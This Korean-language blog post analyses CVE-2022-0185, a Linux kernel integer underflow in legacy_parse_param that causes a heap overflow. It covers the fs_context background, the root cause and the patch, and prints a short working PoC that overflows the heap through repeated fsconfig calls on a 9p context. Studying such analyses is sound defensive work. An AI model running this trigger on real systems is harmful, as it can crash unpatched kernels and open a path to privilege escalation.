Intro
TOOR 팀 활동을 하며 분석하게 된 리눅스의 파일 시스템을 다루는 시스템 콜과 관련된 취약점입니다.

CVE-2022-0185는 2022년 1월 18일 커밋이 올라오고 2022년 2월 11일에 취약점 정보가 공개된 리눅스 커널 UAF 취약점 입니다.
본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.
Vuln
- CVE-ID : CVE-2022-0185
- CWE : CWE-191, CWE-190
Background
이번에 알아볼 친구는 syzkaller가 발견해냈씁니다.

취약점을 이해하기 위한 간략한 백그라운드 지식을 배워봅시다.
File system context structure (fs_context)
리눅스 커널 v5.1에서는 VFS(Virtual File System)에서 마운트 중 파일 시스템 정보를 다룰 때 사용할 fs_context 구조체, 파일 컨텍스트 개념을 추가하게 됩니다. 쉽게 말해 파일 시스템을 마운트 할 때의 메타데이터를 다룰 구조체라 보면 되지 않을까 싶네요. 슈퍼블록! 해당 구조체는 다음과 같은 정보들을 포함하게 됩니다.
/* * Filesystem context for holding the parameters used in the creation or * reconfiguration of a superblock. * * Superblock creation fills in ->root whereas reconfiguration begins with this * already set. * * See Documentation/filesystems/mounting.txt */struct fs_context { struct file_system_type *fs_type; void *fs_private; /* The filesystem's context */ struct dentry *root; /* The root and superblock */ struct user_namespace *user_ns; /* The user namespace for this mount */ struct net *net_ns; /* The network namespace for this mount */ const struct cred *cred; /* The mounter's credentials */ const char *source; /* The source name (eg. dev path) */ const char *subtype; /* The subtype to set on the superblock */ void *security; /* Linux S&M options */ unsigned int sb_flags; /* Proposed superblock flags (SB_*) */ unsigned int sb_flags_mask; /* Superblock flags that were changed */ enum fs_context_purpose purpose:8; bool need_free:1; /* Need to call ops->free() */};해당 구조체와 관련된 내용은 공식 문서를 보시는 것을 추천합니다! 공식 문서에서도 알 수 있듯, 슈퍼블록을 위한 구조체에용.
- 파일 시스템 타입
- 네임 스페이스
- 소스/디바이스 이름
- 슈퍼블록 플래그
- 보안 세부 사항
- 마운트 옵션에 따라 설정되는 파일 시스템 특정 데이터
이 중 fs_type 멤버와의 연결 고리에 대해서 조금만 더 알아보도록 합시다! 이후에 취약점을 트리거시킬 포인트가 되거든용.
file_system_type 구조체는 이름에서도 알 수 있듯, 마운트할 파일 시스템에 대한 여러 정보를 가지고 있습니당.
struct file_system_type { const char *name; int fs_flags;#define FS_REQUIRES_DEV 1#define FS_BINARY_MOUNTDATA 2#define FS_HAS_SUBTYPE 4#define FS_USERNS_MOUNT 8 /* Can be mounted by userns root */#define FS_RENAME_DOES_D_MOVE 32768 /* FS will handle d_move() during rename() internally. */ int (*init_fs_context)(struct fs_context *); const struct fs_parameter_description *parameters; struct dentry *(*mount) (struct file_system_type *, int, const char *, void *); void (*kill_sb) (struct super_block *); struct module *owner; struct file_system_type * next; struct hlist_head fs_supers;
struct lock_class_key s_lock_key; struct lock_class_key s_umount_key; struct lock_class_key s_vfs_rename_key; struct lock_class_key s_writers_key[SB_FREEZE_LEVELS];
struct lock_class_key i_lock_key; struct lock_class_key i_mutex_key; struct lock_class_key i_mutex_dir_key;};초기화되는 모습은 각각의 파일 시스템과 관련된 파일에서 볼 수 있습니당. ext4를 예로 보면 다음과 같습니다. 초기화되는 코드를 보면 init_fs_context 멤버는 건들지도 않는다는 것을 알 수 있습니다. 이로인해 해당 값은 0이 됩니다. 대부분의 파일 시스템은 이를 초기화하지 않습니다. (대부분 까진 아닌가..?)
static struct file_system_type ext4_fs_type = { .owner = THIS_MODULE, .name = "ext4", .mount = ext4_mount, .kill_sb = kill_block_super, .fs_flags = FS_REQUIRES_DEV,};MODULE_ALIAS_FS("ext4");System calls related to the file system context
앞서 알아본 파일 시스템 컨텍스트(파일 시스템 마운트)와 관련된 시스템 콜인 fsconfig, fsopen, fsmount 등이 커널 버전 v5.2에서 추가됩니다. 이름에서도 알 수 있듯, 파일 시스템 마운트를 위한 컨텍스트를 다룰 때 사용할 수 있는 시스템 콜들입니다. 사용 예는 다음과 같습니다. 파일 시스템 컨텍스트를 만들고 메타 데이터를 추가하는 모습을 볼 수 있습니다.
fd = fsopen("ext4", FSOPEN_CLOEXEC); fsconfig(fd, fsconfig_set_path, "source", "/dev/sda1", AT_FDCWD); fsconfig(fd, fsconfig_set_path_empty, "journal_path", "", journal_fd); fsconfig(fd, fsconfig_set_fd, "journal_fd", "", journal_fd); fsconfig(fd, fsconfig_set_flag, "user_xattr", NULL, 0); fsconfig(fd, fsconfig_set_flag, "noacl", NULL, 0); fsconfig(fd, fsconfig_set_string, "sb", "1", 0); fsconfig(fd, fsconfig_set_string, "errors", "continue", 0); fsconfig(fd, fsconfig_set_string, "data", "journal", 0); fsconfig(fd, fsconfig_set_string, "context", "unconfined_u:...", 0); fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0); mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);RCA
CVE-2022-0185 Description을 구경해봅시다. 다음과 같습니다.

앞서 알아본 파일 시스템 컨텍스트를 다루는 함수 중 legacy_parse_param에서 길이 검증에서 힙 오버플로우가 발생한다고 하는군요!
legacy_parse_parm은 앞서 살펴본 fsconfig 함수에서 문자열 파라미터 값을 파싱하는 과정에서 사용됩니다. 또한 이 옵션 문자열은 누적될 수 있습니다.
이때 이 누적된 옵션 길이를 검증하는 과정에서 Integer Underflow(Wrap-around)가 발생할 수 있고, 결과적으로 이로인해 힙 오버플로우가 발생할 수 있는 환경이 됩니다. 코드를 확인해볼까요?
/* * Add a parameter to a legacy config. We build up a comma-separated list of * options. */static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param){ struct legacy_fs_context *ctx = fc->fs_private; unsigned int size = ctx->data_size; size_t len = 0;... if (len > PAGE_SIZE - 2 - size) return invalf(fc, "VFS: Legacy: Cumulative options too large");... ctx->legacy_data[size++] = ','; len = strlen(param->key); memcpy(ctx->legacy_data + size, param->key, len); size += len; if (param->type == fs_value_is_string) { ctx->legacy_data[size++] = '='; memcpy(ctx->legacy_data + size, param->string, param->size); size += param->size; } ctx->legacy_data[size] = '\0'; ctx->data_size = size; ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS; return 0;}중간에 다음과 같은 코드가 있는 모습을 볼 수 있습니다. 이는 누적되고 있는 문자열 옵션의 크기를 계산해서 페이지 길이를 넘어갈 수 없게 하는 코드라고 볼 수 있습니다. 2 + size가 PAGE_SIZE를 넘어가면 음수가 발생하여 len이 더 커지는 상황이 발생하겠죠? 혹은, PAGE_SIZE - (2 + size)가 len보다 작을 경우 len을 추가할 길이를 확보하지 못하니 누적된 옵션 길이에 대한 검증이라고 생각할 수 있겠죠?
if (len > PAGE_SIZE - 2 - size) return invalf(fc, "VFS: Legacy: Cumulative options too large");하지만 이런 가정은 계산 결과가 음수가 나올 수 없기 때문에 깨지게됩니다. 즉, 요놈들 Unsigned라서 음수가 될 수 없어 무지막지하게 커지게되버립니다. 그러면 자연스럽게 해당 검증문을 피해가고 경계를 넘어서 데이터를 쓸 수 있게됩니다. 간단하죠?
이러한 legacy_parse_param 문자열 옵션을 세팅하는 과정에서 트리거 된다 했습니다. 그리고 추가적으로 특정 조건에서만 이 함수를 트리거 시킬 수 있는데, 이에 대한 배경은 앞서 설명드린 file_system_type 구조체와 관련있습니다. 즉, 파일 시스템 타입과 해당 함수에 연관이 있습니다. 이와 관련된 코드를 살펴봅시다.
legacy_parse_param은 파일 컨텍스트와 관련된 ops 함수 테이블에 담겨 있습니다.
const struct fs_context_operations legacy_fs_context_ops = { .free = legacy_fs_context_free, .dup = legacy_fs_context_dup, .parse_param = legacy_parse_param, .parse_monolithic = legacy_parse_monolithic, .get_tree = legacy_get_tree, .reconfigure = legacy_reconfigure,};앞서 알아본 fs_context는 파일 시스템에 따라 이 테이블을 설정하게끔 되어있습니다. 요렇게 멤버로 갖고있죠. 여기서 테이블을 설정한다는 말은 테이블을 고른다고 말 안해도 아시..겠죠?
struct fs_context { const struct fs_context_operations *ops; ...};어떤 테이블이 사용될지 결정되는 시점은 fs_context 즉, 파일 컨텍스트가 할당되는 시점으로 다음 함수(alloc_fs_context)에서 설정이 진행됩니다!
/** * alloc_fs_context - Create a filesystem context. * @fs_type: The filesystem type. * @reference: The dentry from which this one derives (or NULL) * @sb_flags: Filesystem/superblock flags (SB_*) * @sb_flags_mask: Applicable members of @sb_flags * @purpose: The purpose that this configuration shall be used for. * * Open a filesystem and create a mount context. The mount context is * initialised with the supplied flags and, if a submount/automount from * another superblock (referred to by @reference) is supplied, may have * parameters such as namespaces copied across from that superblock. */static struct fs_context *alloc_fs_context(struct file_system_type *fs_type, struct dentry *reference, unsigned int sb_flags, unsigned int sb_flags_mask, enum fs_context_purpose purpose){ int (*init_fs_context)(struct fs_context *); struct fs_context *fc; int ret = -ENOMEM;
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL); if (!fc) return ERR_PTR(-ENOMEM);... /* TODO: Make all filesystems support this unconditionally */ init_fs_context = fc->fs_type->init_fs_context; if (!init_fs_context) init_fs_context = legacy_init_fs_context;
ret = init_fs_context(fc);...}코드에서도 볼 수 있듯, fc->fs_type->init_fs_contex가 0일 경우 init_fs_context 함수 포인터는 legacy_init_fs_context 함수를 가리키게 되고! 이를 호출하게되죠! 해당 함수는 요렇게 생겼습니다.
/* * Initialise a legacy context for a filesystem that doesn't support * fs_context. */static int legacy_init_fs_context(struct fs_context *fc){ fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL); if (!fc->fs_private) return -ENOMEM; fc->ops = &legacy_fs_context_ops; return 0;}레거시 파일 컨텍스트를 할당하고 ops 테이블로 legacy_fs_context_ops를 설정해주고 있습니다. 따라서 문자열 파싱시에 legacy_parse_param이 호출됩니다!
앞서 살펴본 ext4의 경우에도 해당 값을 초기화하지 않아서 0입니다! 따라서 ext4 파일 시스템의 경우도 취약한 함수를 트리거 시킬 수 있습니다.
그리고 이러한 alloc_fs_context 함수는 fsopen을 호출할 때 호출됩니다. 요렇게 말이죠.
fd = fsopen("ext4", FSOPEN_CLOEXEC);요렇게 특정 파일 시스템으로 fsopen을 통해 레거시 파일 시스템 컨텍스트를 만들고 문자열 옵션을 누적시키다보면 누적 옵션 길이 검증 실패로인해서 힙 오버플로우가 발생하게됩니다.
PoC
# define _GNU_SOURCE# include <sys/syscall.h># include <stdio.h># include <stdlib.h># ifndef __NR_fsconfig# define __NR_fsconfig 431# endif# ifndef __NR_fsopen# define __NR_fsopen 430# endif# define FSCONFIG_SET_STRING 1# define fsopen(name, flags) syscall(__NR_fsopen, name, flags)# define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)int main ( void ) { char * val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ; int fd = 0 ; fd = fsopen( "9p" , 0 ); if (fd < 0 ) { puts ( "Opening" ); exit ( -1 ); } for ( int i = 0 ; i < 5000 ; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00" , val, 0 ); } return 0 ;}PoC를 보면 알 수 있듯, 9p 파일 시스템에 대한 파일 시스템 컨텍스트를 만들고 문자열 옵션을 계속해서 누적시키는 모습을 볼 수 있습니다. 여기서 알 수 있는 점은 9p 파일 시스템 역시 커널 내부적으로 레거시 파일 시스템 컨텍스트를 사용한다는 점이겠죠?
Video
열심히 찍는중 🎥 😅
Patch
패치는 아주 엄청 간단합니다! 😃 앞서 뺄셈 연산을 사용하는 것에서 덧셈 연산을 통해 현재 누적될 옵션 값이 페이지 길이를 넘어가는지 확인하게 되었습니다.
if (len > PAGE_SIZE - 2 - size)if (size + len + 2 > PAGE_SIZE) return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') || (param->type == fs_value_is_string &&심하게 더운 여름이네요! 다들 더위 조심하세요! 그럼 20000 👋👋👋
Mitigation
- 해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^